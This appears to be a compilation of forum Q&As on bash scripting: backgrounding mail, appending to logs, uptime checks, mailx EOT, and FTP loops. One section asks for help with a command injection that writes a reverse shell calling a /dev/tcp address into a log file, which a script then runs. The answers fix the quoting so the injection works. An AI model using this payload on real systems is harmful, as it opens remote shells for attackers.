Fail when sending email from bash using & (background) - bash

When I'm sending an email using this command:
mail -s "export CSV" -a calls.tar mail#mail.pl < text.txt > /dev/null 2>&1
everything working fine. But when I'm using & at the end of the line :
mail -s "export CSV" -a calls.tar mail#mail.pl < text.txt > /dev/null 2>&1 &
query is running to infinity.
How can I run this query properly?

Ideally you should try to find what is happening, but if you're in a rush or everything is failing, you can try to just enclose everything in () and run that in the background. This should work.
$ ( mail -s "export CSV" -a calls.tar mail#mail.pl < text.txt > /dev/null 2>&1 ) &
In any case, you can always use debugging techniques and do your command increasing the complexity little by little to see where it fails.
$ mail -s "export CSV" mail#mail.pl &
$ mail -s "export CSV" mail#mail.pl < text.txt &
$ mail -s "export CSV" mail#mail.pl < text.txt > /dev/null &
$ mail -s "export CSV" mail#mail.pl < text.txt > /dev/null 2>&1 &
$ mail -s "export CSV" -a calls.tar mail#mail.pl < text.txt > /dev/null 2>&1 &
You get the idea. :)

1. As pointed out by psibar you should try redirecting output to a log:
mail -s "export CSV" -a calls.tar mail#mail.pl < text.txt >> /tmp/csv.log 2>&1 &
2. Are you sure the command never finishes? The expected output would be:
user#host:~$ mail -s "export CSV" -a calls.tar mail#mail.pl < text.txt > /dev/null 2>&1 &
[1] 19266
user#host:~$
and after you press ENTER:
[1]+ Done mail -s "export CSV" -a calls.tar mail#mail.pl < text.txt > /dev/null 2>&1 &
user#host:~$
Note: 19266 here is the PID of the background process. You can check if it's still running using
ps -ef | grep [1]9266

Related

Netcat listener produces error: "bash: 1': ambiguous redirect"

When attempting to create a reverse shell with the following code injection, I receive the error: bash: 1': ambiguous redirect:
echo “ ; /bin/bash -c ‘bash -i >& /dev/tcp/10.10.17.216/1234 0>&1’ #” >> hackers
The code to be executed is directed to the hackers file which, in turn, is called by this script:
#!/bin/bash
log=/home/kid/logs/hackers
cd /home/pwn/
cat $log | cut -d' ' -f3- | sort -u | while read ip; do
sh -c "nmap --top-ports 10 -oN recon/${ip}.nmap ${ip} 2>&1 >/dev/null" &
done
if [[ $(wc -l < $log) -gt 0 ]]; then echo -n > $log; fi
Try to add \" at the start and the end :
echo “\" ; /bin/bash -c ‘bash -i >& /dev/tcp/10.10.17.216/1234 0>&1’ #\"” >> hackers
This worked for me :
echo "\" HRI ; /bin/bash -c 'bash -i >& /dev/tcp/<ip>/<port> 0>&1' \"" >> hackers

Checking if a website is online through bash script

I need a script that checks the url '$site' twice before reporting it as inaccessible?
The script checks this URL and if the URL is not reachable, the script checks it twice after for example 10 seconds, and if the URL is not reachable again, it echoes "no access".
I tried this:
if wget --spider -S "$site" 2>&1 | grep -w "200\|301\|302" > /dev/null ; then
else
do
echo "not access";
done
fi
I am do this, because no any other short way found:
#!/bin/bash
TOKEN='000000000'
CHAT_ID='(000000000 111111111 22222222)'
URL="https://api.telegram.org/bot$TOKEN/sendMessage"
site='https://site.ru'
if wget --spider -S "$site" 2>&1 | grep -w "200\|301\|302" > /dev/null ; then
echo "Site is up 1: $(date -d 'now + 7 hours' +'%Y-%m-%d_%H:%M')"
else
sleep 5
if wget --spider -S "$site" 2>&1 | grep -w "200\|301\|302" > /dev/null ; then
echo "Site is up 2: $(date -d 'now + 7 hours' +'%Y-%m-%d_%H:%M')"
else
for chat in ${CHAT_ID[*]}
do
curl -s -X POST $URL -d chat_id=$chat -d text="Сервис временно не доступен"
echo "Site is down twice: $(date -d 'now + 7 hours' +'%Y-%m-%d_%H:%M')"
done
fi
fi

unable to write a command to a file

Unable to send an echo statement to a file , any help ? Currently I see the o/p coming for code free -k but none of the echo statements are coming .
I have tested with multiple echo statements and none are working.
#!/bin/bash
#--------Check for Memory Utilization--------#
set -x
ScriptName="${0##*/}"
LogTime=$(date "+%Y-%m-%d %H:%M:%S")
LogDate=$(date "+%Y-%m-%d")
FinalLogName="$ScriptName"_"$LogDate".log
touch "$FinalLogName"
echo "running test log" > "$FinalLogName"
echo "running testing log at $LogTime" > "$FinalLogName"
echo "running for script $ScriptName " > "$FinalLogName"
echo "running the script $ScriptName at $LogTime" > "$FinalLogName"
free -k > /tmp/memutil.log| tee "$FinalLogName" ; sed -n -e 2,3p -e 4p /tmp/memutil.log| tee "$FinalLogName"
rm /tmp/memutil.log
I expect the output to print all the echo statements with free -k command info.
Redirecting with > overwrites the file. And so does tee by default. To make an appending redirect use >> and the -a flag for tee.
#!/bin/bash
#--------Check for Memory Utilization--------#
set -x
ScriptName="${0##*/}"
LogTime=$(date "+%Y-%m-%d %H:%M:%S")
LogDate=$(date "+%Y-%m-%d")
FinalLogName="$ScriptName"_"$LogDate".log
touch "$FinalLogName"
echo "running test log" >> "$FinalLogName"
echo "running testing log at $LogTime" >> "$FinalLogName"
echo "running for script $ScriptName " >> "$FinalLogName"
echo "running the script $ScriptName at $LogTime" >> "$FinalLogName"
free -k > /tmp/memutil.log| tee -a "$FinalLogName" ; sed -n -e 2,3p -e 4p /tmp/memutil.log| tee -a "$FinalLogName"
rm /tmp/memutil.log

Can't figure out how to send ^D (EOT) signal to mailx in bash script

I'm writing a bash script to send me an email automatically.
Mailx requires an EOT or ^D signal to know the message body is over and it can send.
I don't want to hit ^D on the keyboard when I run script which is what it does now.
Here is my code:
#! /bin/bash
SUBJ="Testing"
TO="test#test.com"
MSG="message.txt"
echo "I am emailing you" >> $MSG
echo "Time: `date` " >> $MSG
mail -s "$SUBJ" -q "$MSG" "$TO"
rm -f message.txt
If you do not need to add more text and just need to send the content of $MSG, you can replace
mail -s "$SUBJ" -q "$MSG" "$TO"
with
mail -s "$SUBJ" "$TO" < "$MSG"
The EOT will be implicit in the < construct. -q is indeed only used to start a message. The rest is supposed to come through stdin.
Pipe the output of a command group to mail.
#! /bin/bash
SUBJ="Testing"
TO="test#test.com"
MSG="message.txt"
{
echo "I am emailing you"
echo "Time: `date` "
} | mail -s "$SUBJ" -q "$MGS" "$TO"
rm -f message.txt

ftp while do error

Anyone can help what will be the problem?
Host='192.153.222.1'
User='ftpuser'
passwd='apple'
logfile='a.log'
while :; do
ftp -n -p -v $HOST < example.script >> $logfile
grep -qF "Connected" $logfile &&
grep -qF "File successfully transferred" $logfile && break
done
quote USER $USER
quote PASS $PASSWD
example.script contains
put example.txt
The error is
./example.sh: line 20: syntax error: unexpected end of file
Some fixes:
You missed the closing quote in:
Host='192.153.222.1'
Use a single <, otherwise it's an "here document" in:
ftp -n -p -v "$HOST" < example.script >> "$logfile"
Why you use << in this line?
ftp -n -p -v $HOST << example.script >> $logfile
Change it to
ftp -n -p -v $HOST < example.script >> $logfile
It will work :-)

Resources